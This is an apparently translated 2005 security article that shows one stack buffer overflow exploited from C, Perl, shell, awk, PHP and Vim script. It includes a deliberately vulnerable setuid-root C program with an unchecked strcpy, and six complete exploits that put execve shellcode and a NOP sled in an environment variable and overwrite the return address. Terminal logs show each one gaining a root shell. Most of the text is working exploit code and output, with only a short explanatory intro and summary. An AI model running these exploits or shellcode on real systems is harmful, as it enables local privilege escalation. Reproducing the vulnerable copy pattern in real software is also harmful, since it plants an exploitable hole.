Overflow Exploits & Programming Languages Collection




 Overflow exploits are not only compiled by C. Instead, they can be compiled
by almost any programming language. The examples in this article are tested
on Linux and demonstrated by overflow exploits compiled by C, Perl, Shell 
and Awk. The reason for this choice is that almost all these languages are 
bundled with Unix (except for C in commercial Unix systems). 

In the following examples accurate location is implemented basically by placeing
SHELLCODE to environment variables. 



<1> vul.c that is vulnerable to overflow

[cloud@test]$ id
uid=505(cloud) gid=503(test) groups=503(test)
[cloud@test]$ cat vul.c
/* Demo 
   Have a bof vul at argv[1].
   Write by watercloud @ xfocus.org 
*/
#include<stdio.h>
int main(int argc,char  * argv[])
{
        char buff[32];
        if(argc > 1)
        {
                strcpy(buff,argv[1]);
        }
        printf("buff : %s\n",buff);
        return 0;
}
[cloud@test]$ gcc vul.c -o vul
[cloud@test]$ ls -l vul
-rwxr-xr-x    1 cloud    test      11627  2月 24 10:14 vul
[cloud@test]$ sudo chown root vul
[cloud@test]$ sudo chmod u+s vul
[cloud@test]$ ls -lh vul
-rwsr-xr-x    1 root     test        11K  2月 24 10:14 vul





<2> C exploit ex.c


[cloud@test]$ cat ex.c
/* Demo for exploit bof of "./vul" 
   Write by watercloud @ xfocus.org 
*/
#include <stdio.h>
#define TARGET "./vul"
#define ADDR 0xbffff3e8
char SH[]="1\xc0PPP[YZ4\xd0\xcd\x80"
          "j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
int main(int argc,char * argv[])
{
        char env_buff[4000];
        char cmd_buff[1024];
        int i,ret;
        unsigned int *pi;
        char * pc;

        for(i=0;i<3096;env_buff[i++]=0x90){ };
        env_buff[i]='\0';
        strcat(env_buff,SH);
        setenv("KK",env_buff,1);
        strcpy(cmd_buff,TARGET);
        pc=&cmd_buff[strlen(TARGET)];
        *pc++=' ';
        for(ret=1,i=0;i<4 && ret;i++)
        {
                int j;
                *pc++='A';
                pi=(unsigned int *)pc;
                for(j=0;j<20;*pi++=ADDR,j++){};
                *pi=0;
                ret=system(cmd_buff);
        }
        return ret;

}
[cloud@test]$ gcc ex.c -o ex
[cloud@test]$ ./ex
buff : A梵�胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯??
梵�胯??
buff : AA梵�胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?
胯?胯??
buff : AAA梵�胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?
�胯?胯??
buff : AAAA梵�胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯
?胯?胯??
sh-2.05b# id
uid=0(root) gid=503(test) groups=503(test)
sh-2.05b# exit
exit





<3> perl exploit ex.pl


[cloud@test]$ cat ex.pl

#!/usr/bin/perl
# Demo for exploit bof of "./vul"
# Write by watercloud @ xfocus.org

#$ENV_LEN=`env |wc -c`
$SHELL="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
$ENV{KK}= "\x90"x 3096 . $SHELL;
for($ret=1,$ag="AA",$i=0;$i<4 && $ret; $ag="A"x $i++) {
  $ret=system "./vul",$ag. "\xff\xbf\xe8\xf3"x20;  #ADDR:0xbffff3e8
}
#EOF
[cloud@test]$ perl ex.pl
buff : AA�胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯
?胯?胯?
sh-2.05b# id
uid=0(root) gid=503(test) groups=503(test)
sh-2.05b# exit
exit




<4> Shell exploit ex.sh

[cloud@test]$ cat ex.sh
#/bin/bash
# Demo for exploit bof of "./vul"
# Write by watercloud @ xfocus.org

#ENV_LEN=`env |wc -c|tr -d ' '`
SH="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
AG="AA";for (( i=0;i<10;i++));do AG=$AG$AG;done ;AG=$AG$AG$AG #3096
for((i=0;i<20;i++));do AD=$AD"\xff\xbf\xe8\xf3";done #ADDR:0xbffff3e8
export AGSHELL=$AG`echo -e $SH`

for((i=0;i<4;i++)) ;do
  AA=$AA"A"
  if  ./vul $AA`echo -e $AD`
  then break
  fi
done
#EOF
[cloud@test]$ chmod a+x ex.sh
[cloud@test]$ ./ex.sh
buff : A�胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?
�胯?胯?
./ex.sh: line 16:  5287 段错误                  ./vul $AA`echo -e $AD`
buff : AA�胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯
?胯?胯?
sh-2.05b# id
uid=0(root) gid=503(test) groups=503(test)
sh-2.05b# exit
exit





<5> awk exploit ex.awk

[cloud@test]$ cat ex.awk
# Demo for exploit bof of "./vul"
# Write by watercloud @ xfocus.org

BEGIN{
        SH="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
        AG="AA";
        for ( i=0;i<10;i++)
        {
                AG=AG""AG;
        }
        AG=AG""AG""AG #3096
        for(i=0;i<20;i++)
        {
                AD=AD"\xe8\xf3\xff\xbf"; #ADDR:0xbffff3e8
        }

        AA="AA"
        for(i=0;i<4;i++)
        {
          AA=AA"A"
          system("./vul "AA""AD" "AG""SH)
        }
}
#EOF
[cloud@test]$ gawk -f ex.awk /dev/null
buff : AAA梵�胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯??
buff : AAAA梵�胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯??
sh-2.05b# id
uid=0(root) gid=503(test) groups=503(test)
sh-2.05b# 




<6> PHP exploit

[cloud@MagicLinux tmp]$ id
uid=502(cloud) gid=502(cloud) groups=502(cloud)
[cloud@MagicLinux tmp]$ ls -l vul
-rwsr-xr-x  1 root root 4895  2月 26 20:57 vul
[cloud@MagicLinux tmp]$ cat ex.php
<?php
$SH="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
$AG="AA";
for( $i=0;$i<10;$i++){
        $AG.=$AG;
}
$AG.=$AG.$AG; #3096

for($i=0;$i<20;$i++) {
        $AD.="\xff\xbf\xe8\xf3";#ADDR:0xbffff3e8
}
for($i=0;$i<4;$i++) {
  $AA.="A";
  print system("./vul ".$AA.$AD.$AG.$SH);
}
?>
[cloud@MagicLinux tmp]$ php ex.php 1>/dev/null
id >&2
uid=0(root) gid=502(cloud) groups=502(cloud)
exit
[cloud@MagicLinux tmp]$ 





<7> Vim extension script exploit

Even extension programming script of vim compiler can be used to write an
overflow exploit.

[cloud@MagicLinux tmp]$ id
uid=502(cloud) gid=502(cloud) groups=502(cloud)
[cloud@MagicLinux tmp]$ cat ex.vim
let SH="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80"
let AG="AA"
let i=0
while(i<10)
        let AG=AG.AG
        let i=i+1
endwhile
let AG=AG.AG.AG
"len of AG is 3096

let AD=""
let i=0
while(i<20)
        let AD=AD."\xff\xbf\xe8\xf3"
"ADDR:0xbffff3e8
        let i=i+1
endwhile

let AA=""
let i=0
while(i<4)
  let AA=AA."A"
  execute "!./vul ". AA . AD . AG . SH
  let i=i+1
endwhile
[cloud@MagicLinux tmp]$ ls -l vul
-rwsr-xr-x  1 root root 4895  2月 26 20:57 vul
[cloud@MagicLinux tmp]$ vim -eS ex.vim
Xlib: connection to ":0.0" refused by server
Xlib: No protocol specified


buff : A&#65533;胯&#65533;胯&#65533;胯&#65533;胯&#65533;胯&#65533;胯&#65533;胯&#65533;
胯&#65533;胯&#65533;胯&#65533;胯&#65533;胯&#65533;胯&#65533;胯&#65533;胯&#65533;胯&#65
533;胯&#65533;胯&#65533;胯&#65533;胯驛AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
……………………………………………………………………
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1繮PP[YZ4型&#65533;j
                                                                   X橰hn/shh//biT[RSTY蛝
sh-2.05b# id
uid=0(root) gid=502(cloud) groups=502(cloud)
sh-2.05b# 


<8> ........



<9> Summary


The basis of overflow is address location, usage of data structure such as heap, 
and architechure the organization/OS is running on. Knowing these we can understand
that overflow exploit itself is unrelated to programming language.  


Thanks Hou HanShu translate this paper to English.


                                                    watercloud [at] xfocus.org

                                                          2005-3-2